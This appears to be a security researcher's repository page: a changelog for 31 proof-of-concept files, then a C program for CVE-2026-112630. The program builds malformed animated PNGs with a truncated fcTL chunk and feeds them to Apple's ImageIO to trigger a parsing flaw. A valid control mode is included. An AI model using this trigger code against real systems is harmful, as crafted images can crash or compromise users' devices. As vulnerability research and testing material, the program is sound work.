- 31 C POC files, one per CVE folder: full seed construction + trigger + main(), self-contained, no app dependency. All compile clean with clang -O2 -Wall (zero warnings) on macOS arm64; each has a recorded oracle on this host. - CMGetDMVersionLevelFromRPU ABI pinned by disassembly: macOS export is (CFDataRef), the Swift POC drives the 4-arg iOS surface — this is the mechanism behind the cm.rpu death oracle on the simulator build. - Harness fixes: glyphCount guard, MachOInspector size guard, ModTools clamp, DeviceModel iPhone19,7, GPTPayload clamps, Gate patch display. - POC comments rewritten English-only (31 swift + arc.rr + 5 py). - README (en/zh): C twin column, .c anatomy section, compile/run examples, C oracle verification status. - Dead if-let binding removed from Identity summary; v2.0 build 3.
186 lines
7.1 KiB
C
186 lines
7.1 KiB
C
// iio.apng.fctl · ImageIO · IIO_Reader_PNG::getImageCount · CVE-2026-112630
|
|
// APNG fcTL chunk truncated mid-header
|
|
// C twin of the Swift POC: builds the truncated-fcTL APNG and reads its frame count + decode.
|
|
// Build: clang -O2 -o cve-2026-112630 CVE-2026-112630.c -framework ImageIO -framework CoreGraphics -framework CoreFoundation
|
|
// Run: ./cve-2026-112630 [mode] (0 = declared-26/truncated-4, 1 = file ends inside fcTL, 2 = valid control)
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
|
|
// ── byte buffer ──
|
|
typedef struct { uint8_t *d; size_t n, cap; } buf;
|
|
static void bneed(buf *b, size_t extra) {
|
|
if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); }
|
|
}
|
|
static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; }
|
|
static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; }
|
|
static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; }
|
|
|
|
static void be32(buf *b, uint32_t v) {
|
|
bput(b, v >> 24); bput(b, (v >> 16) & 0xff); bput(b, (v >> 8) & 0xff); bput(b, v & 0xff);
|
|
}
|
|
|
|
// ── png pieces (from Cinder27 Sources: PNGPayload) ──
|
|
static uint32_t crc32(const uint8_t *p, size_t n) {
|
|
static uint32_t table[256];
|
|
static int built;
|
|
if (!built) {
|
|
for (int i = 0; i < 256; i++) {
|
|
uint32_t c = (uint32_t)i;
|
|
for (int k = 0; k < 8; k++) c = (c & 1) ? (0xEDB88320 ^ (c >> 1)) : (c >> 1);
|
|
table[i] = c;
|
|
}
|
|
built = 1;
|
|
}
|
|
uint32_t crc = 0xFFFFFFFF;
|
|
for (size_t i = 0; i < n; i++) crc = table[(crc ^ p[i]) & 0xFF] ^ (crc >> 8);
|
|
return crc ^ 0xFFFFFFFF;
|
|
}
|
|
|
|
// zlib stored-block wrapper around `input`
|
|
static void zlib_store(buf *out, const uint8_t *input, size_t in_n) {
|
|
bput(out, 0x78); bput(out, 0x01);
|
|
size_t off = 0;
|
|
if (in_n == 0) { bcat(out, "\x01\x00\x00\xff\xff", 5); }
|
|
while (off < in_n) {
|
|
size_t take = in_n - off < 65535 ? in_n - off : 65535;
|
|
bput(out, off + take >= in_n ? 0x01 : 0x00);
|
|
bput(out, take & 0xff); bput(out, (take >> 8) & 0xff);
|
|
uint16_t ntake = (uint16_t)~take;
|
|
bput(out, ntake & 0xff); bput(out, (ntake >> 8) & 0xff);
|
|
bcat(out, input + off, take);
|
|
off += take;
|
|
}
|
|
uint32_t a = 1, b = 0;
|
|
for (size_t i = 0; i < in_n; i++) { a = (a + input[i]) % 65521; b = (b + a) % 65521; }
|
|
be32(out, (b << 16) | a);
|
|
}
|
|
|
|
static void png_chunk(buf *out, const char *type, const uint8_t *data, size_t n, int declared_len, size_t truncate_to) {
|
|
size_t body_n = truncate_to < n ? truncate_to : n;
|
|
uint32_t len = declared_len >= 0 ? (uint32_t)declared_len : (uint32_t)n;
|
|
be32(out, len);
|
|
bcat(out, type, 4);
|
|
bcat(out, data, body_n);
|
|
uint8_t crc_input[512];
|
|
size_t ci = 0;
|
|
memcpy(crc_input, type, 4); ci = 4;
|
|
memcpy(crc_input + ci, data, body_n); ci += body_n;
|
|
be32(out, crc32(crc_input, ci));
|
|
}
|
|
|
|
// ── seed construction (from Cinder27 Sources: PNGPayload.apngTruncatedFCTL) ──
|
|
static buf apng_truncated_fctl(int mode) {
|
|
buf out = {0};
|
|
bcat(&out, "\x89\x50\x4e\x47\x0d\x0a\x1a\x0a", 8);
|
|
|
|
// IHDR: 4x4, 8-bit RGBA
|
|
uint8_t ihdr[13];
|
|
be32(&(buf){0}, 0); // placeholder, built manually below
|
|
{
|
|
uint8_t *p = ihdr;
|
|
*p++ = 0; *p++ = 0; *p++ = 0; *p++ = 4; // width
|
|
*p++ = 0; *p++ = 0; *p++ = 0; *p++ = 4; // height
|
|
*p++ = 8; *p++ = 6; *p++ = 0; *p++ = 0; *p++ = 0;
|
|
}
|
|
png_chunk(&out, "IHDR", ihdr, 13, -1, SIZE_MAX);
|
|
|
|
// acTL: 2 frames, 0 plays
|
|
uint8_t actl[8];
|
|
{
|
|
uint8_t *p = actl;
|
|
*p++ = 0; *p++ = 0; *p++ = 0; *p++ = 2;
|
|
*p++ = 0; *p++ = 0; *p++ = 0; *p++ = 0;
|
|
}
|
|
png_chunk(&out, "acTL", actl, 8, -1, SIZE_MAX);
|
|
|
|
// fcTL body: seq 0, w 4, h 4, x 0, y 0, delay 1/10, dispose 0, blend 0
|
|
uint8_t fctl[26];
|
|
{
|
|
uint8_t *p = fctl;
|
|
*p++ = 0; *p++ = 0; *p++ = 0; *p++ = 0;
|
|
*p++ = 0; *p++ = 0; *p++ = 0; *p++ = 4;
|
|
*p++ = 0; *p++ = 0; *p++ = 0; *p++ = 4;
|
|
*p++ = 0; *p++ = 0; *p++ = 0; *p++ = 0;
|
|
*p++ = 0; *p++ = 0; *p++ = 0; *p++ = 0;
|
|
*p++ = 0; *p++ = 1; // delay num
|
|
*p++ = 0; *p++ = 10; // delay den
|
|
*p++ = 0; *p++ = 0; // dispose op / blend op
|
|
}
|
|
|
|
// a real 4x4 RGBA frame
|
|
uint8_t raw_rows[4 * 17];
|
|
{
|
|
uint8_t *p = raw_rows;
|
|
for (int r = 0; r < 4; r++) {
|
|
*p++ = 0; // filter byte
|
|
for (int c = 0; c < 16; c++) *p++ = 0x80;
|
|
}
|
|
}
|
|
buf idat = {0};
|
|
zlib_store(&idat, raw_rows, sizeof raw_rows);
|
|
|
|
if (mode == 2) {
|
|
// control: a fully valid first fcTL
|
|
png_chunk(&out, "fcTL", fctl, 26, -1, SIZE_MAX);
|
|
png_chunk(&out, "IDAT", idat.d, idat.n, -1, SIZE_MAX);
|
|
png_chunk(&out, "IEND", NULL, 0, -1, SIZE_MAX);
|
|
} else if (mode == 0) {
|
|
// header claims 26 bytes, only 4 present
|
|
png_chunk(&out, "fcTL", fctl, 26, 26, 4);
|
|
png_chunk(&out, "IDAT", idat.d, idat.n, -1, SIZE_MAX);
|
|
png_chunk(&out, "IEND", NULL, 0, -1, SIZE_MAX);
|
|
} else {
|
|
// file ends inside the fcTL: header + 4 data bytes, no CRC, no IEND
|
|
be32(&out, 26);
|
|
bcat(&out, "fcTL", 4);
|
|
bcat(&out, fctl, 4);
|
|
}
|
|
bfree(&idat);
|
|
return out;
|
|
}
|
|
|
|
// ── trigger: frame count + decode through ImageIO ──
|
|
#include <ImageIO/ImageIO.h>
|
|
#include <CoreGraphics/CoreGraphics.h>
|
|
#include <CoreFoundation/CoreFoundation.h>
|
|
|
|
static int decode_image(const buf *img, const char **detail) {
|
|
CFDataRef cf = CFDataCreate(NULL, img->d, (CFIndex)img->n);
|
|
if (!cf) { *detail = "CFDataCreate failed"; return -1; }
|
|
CGImageSourceRef src = CGImageSourceCreateWithData(cf, NULL);
|
|
CFRelease(cf);
|
|
if (!src) { *detail = "CGImageSourceCreateWithData refused the file"; return -1; }
|
|
// getImageCount is the call that walks fcTL on the vulnerable build
|
|
size_t frames = CGImageSourceGetCount(src);
|
|
CGImageRef cg = CGImageSourceCreateImageAtIndex(src, 0, NULL);
|
|
static char r[256];
|
|
if (cg) {
|
|
snprintf(r, sizeof r, "decoded %zu x %zu, frame count %zu",
|
|
(size_t)CGImageGetWidth(cg), (size_t)CGImageGetHeight(cg), frames);
|
|
CGImageRelease(cg);
|
|
} else {
|
|
snprintf(r, sizeof r, "decode refused at index 0, frame count %zu", frames);
|
|
}
|
|
CFRelease(src);
|
|
*detail = r;
|
|
return cg ? 0 : -1;
|
|
}
|
|
|
|
int main(int argc, char **argv) {
|
|
int mode = argc > 1 ? atoi(argv[1]) : 0;
|
|
|
|
buf png = apng_truncated_fctl(mode);
|
|
const char *names[3] = {"apng_trunc_fctl.png", "apng_ends_inside_fctl.png", "apng_valid_fctl.png"};
|
|
FILE *f = fopen(names[mode == 0 ? 0 : mode == 1 ? 1 : 2], "wb");
|
|
if (f) { fwrite(png.d, 1, png.n, f); fclose(f); }
|
|
|
|
const char *detail = NULL;
|
|
int rc = decode_image(&png, &detail);
|
|
printf("CVE-2026-112630 · fcTL mode %d (0 = 26B declared / 4B present) · %s\n", mode, detail ? detail : "?");
|
|
printf("seed: %s (%zu B) · exit code %d\n", names[mode == 0 ? 0 : mode == 1 ? 1 : 2], png.n, rc);
|
|
bfree(&png);
|
|
return rc == 0 ? 0 : 1;
|
|
}
|